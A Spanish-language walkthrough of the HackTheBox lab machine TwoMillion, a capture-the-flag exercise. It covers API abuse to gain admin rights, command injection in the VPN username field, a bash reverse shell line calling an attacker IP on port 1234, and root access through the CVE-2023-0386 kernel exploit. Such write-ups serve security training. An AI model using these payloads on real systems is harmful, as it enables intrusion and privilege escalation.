🟢TwoMillion

Write-up de la máquina TwoMillion de HackTheBox #writeup #walkthrough

Enumeración

Enumeración de puertos

nmap -p- --open -Pn --min-rate 500 2million.htb 

Dos puertos abiertos, vamos con la enumeración detallada de estos servicios.

nmap -p22,80 -sVC -Pn 2million.htb 

VERSIONES

  • Puerto 22 -> SSH -> OpenSSH 8.9

  • Puerto 80 -> HTTP -> nginx

Enumeración Web

El equipo objetivo está ejecutando un servidor Web en el puerto 80. Vamos a enumerar su contenido.

Parece el sitio Web de una plataforma de CTF. Continuamos enumerando directorios y archivos interesantes en el sistema.

dirsearch -u http://2million.htb -i 200,301

Solo vemos algo interesante en /register.

Se solicita un "Invite code". Seguimos enumerando de forma manual el sitio Web.

Vamos a analizar el código fuente de este sitio Web para buscar vectores de entrada.

Abrimos el archivo señalado y copiamos el contenido en beautifier.io para hacer el código leíble.

Observamos la función "makeInviteCode" para comprobar como se genera el "Invite code".

curl -sq -X POST http://2million.htb/api/v1/invite/how/to/generate | jq.

Encontramos un mensaje cifrado en ROT13. Vamos a descifrarlo utilizando el sitio Web rot13.com.

Obtenemos el mensaje "In order to generate the invite code, make a POST request to /api/v1/invite/generate" Volvemos a realizar una solicitud POST a /api/v1/invite/generate usando curl.

curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq.

Obtenemos un valor cifrado en base64. Vamos a tratar de generar la misma petición pero descifrando este serial.

curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq .data.code -r | base64 -d

Finalmente, obtenemos el código de invitación. Ahora vamos a tratar de registrarnos en la plataforma.

Explotación

Accedemos al sitio Web original de la plataforma Hack The Box. El sitio informa que está realizando migraciones de base de datos y que algunas funciones no están disponibles. En realidad, esto significa que la mayoría de las funciones no están disponibles. Los enlaces del "Panel de control", "Reglas" y "Registro de cambios" bajo la sección "Principal" funcionan y redirigen a páginas que recuerdan la apariencia original de HTB. Bajo la sección "Laboratorios", el único enlace que realmente funciona es la página de "Acceso", que lleva a /home/access. Después haremos clic en "Connection Pack" o en "Regenerate" para envia una petición enviar una GET a a la API /api/v1/user/vpn/regenerate.

Vamos a jugar con la API. Si lanzamos una petición a /api/v1, devuelve una descripción de la petición a la API.

{
    "v1": {
        "user": {
            "GET": {
                "\/api\/v1": "Route List",
                "\/api\/v1\/invite\/how\/to\/generate": "Instructions on invite code generation",
                "\/api\/v1\/invite\/generate": "Generate invite code",
                "\/api\/v1\/invite\/verify": "Verify invite code",
                "\/api\/v1\/user\/auth": "Check if user is authenticated",
                "\/api\/v1\/user\/vpn\/generate": "Generate a new VPN configuration",
                "\/api\/v1\/user\/vpn\/regenerate": "Regenerate VPN configuration",
                "\/api\/v1\/user\/vpn\/download": "Download OVPN file"
            },
            "POST": {
                "\/api\/v1\/user\/register": "Register a new user",
                "\/api\/v1\/user\/login": "Login with existing user"
            }
        },
        "admin": {
            "GET": {
                "\/api\/v1\/admin\/auth": "Check if user is admin"
            },
            "POST": {
                "\/api\/v1\/admin\/vpn\/generate": "Generate VPN for specific user"
            },
            "PUT": {
                "\![[Pasted image 20231020104203.png]]": "Update user settings"
            }
        }
    }
}

Donde encontramos la dirección de la API donde se realizan las consultar para comprobar si un usuario es admin: /api/v1/admin/auth. Vamos a enumerar la API de administrator.

Ya sabemos que no somos usuario administrador. Vamos a jugar con las diferentes peticiones que se indican en la descripción de la API.

Para representar datos estructurados, debemos indicar Content-Type: json

Le debemos indicar un email como parámetro. Le indicaremos el que hemos utilizado para registrarnos.

Nos pide indicar si el usuario "id_admin". Se indica con un 0 o 1.

Tras hacer esto, vamos a confirmar que somos admin.

Ahora el siguiente paso será generar una VPN con usuario admin.

Nos pide un nombre de usuario para generar la VPN.

Hemos generado un archivo de configuración de VPN. Dado que se utilizan las funciones PHP del sistema o exec para crear esta VPN, es posible que no existan todas las protecciones necesarias para evitar que se inyecte código malicioso en el campo de username. Insertando el comando ;id; después del nombre de usuario, comprobamos que es correcta nuestra suposición.

Parece que podemos inyectar comandos, vamos a utilizar este vector para tratar de ejecutar una reverse shell de la siguiente forma:

bash -c 'bash -i >&/dev/tcp/10.10.16.6/1234 0>&1';

Configuramos por otro lado un oyente nc en el puerto 1234.

Y obtenemos acceso al sistema.

Pivotando de www-data a usuario admin

Enumerando el directorio al que hemos obtenido acceso vía shell, vemos un archivo .env que puede ser interesante. Este archivo suele contener credenciales, hashes... Veamos su contenido.

Encontramos unas credenciales para el usuario admin. admin:SuperDuperPass123. Vamos a tratar de acceder al sistema con estas credenciales.

Obtenemos acceso como usuario admin. Vamos a buscar la flag de usuario user.txt. Aunque antes de seguir avanzando, vamos a hacer la terminal interactiva.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Elevación de privilegios

Una vez hemos accedido al sistema con bajos privilegios y hemos obtenido la flag user.txt, vamos a tratar de elevar privilegios dentro del sistema. Al acceder al sistema a través de SSH con las credenciales que obtuvimos anteriormente, encontramos el siguiente mensaje.

Parece una notificación de email. La carpeta de email suele esta en el directorio /var/mail. Veamos su contenido.

"I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that. " Parece que existe una vulnerabilidad crítica en el kernel de Linux. Vamos a buscar información sobre ella.

Si buscamos en Google información sobre esta vulnerabilidad, encontramos en CVE-2023-0386

Encontramos el siguiente exploit en GitHub. Vamos a tratar de utilizarlo para la elevación de privilegios. Descargamos el POC en un archivo ZIP. Lo enviamos a la máquina objetivo haciendo uso de scp.

sshpass -p SuperDuperPass123 scp CVE-2023-0386-main.zip [email protected]:/tmp/

Ya tenemos el archivo en el equipo objetivo.

Descomprimimos el archivo y accedemos al directorio creado.

Como indica el archivo README.md, ejecutamos make all para compilar todos los archivos necesarios.

Vamos a explotar la vulnerabilidad. En la misma terminal de comandos donde nos encontramos, ejecutamos lo siguiente:

./fuse ./ovlcap/lower ./gc

Y por otro lado, abrimos otra terminal dentro de la máquina víctima, volvemos a acceder al directorio creado cuando hemos descomprimido el ZIP del exploit y ejecutamos ./exp

Ya tendremos acceso al sistema como usuario con privilegios elevados. Vamos ahora a buscar la flag root.txt.

Y ya tendríamos acabada la maquina TwoMillion de HTB.

Last updated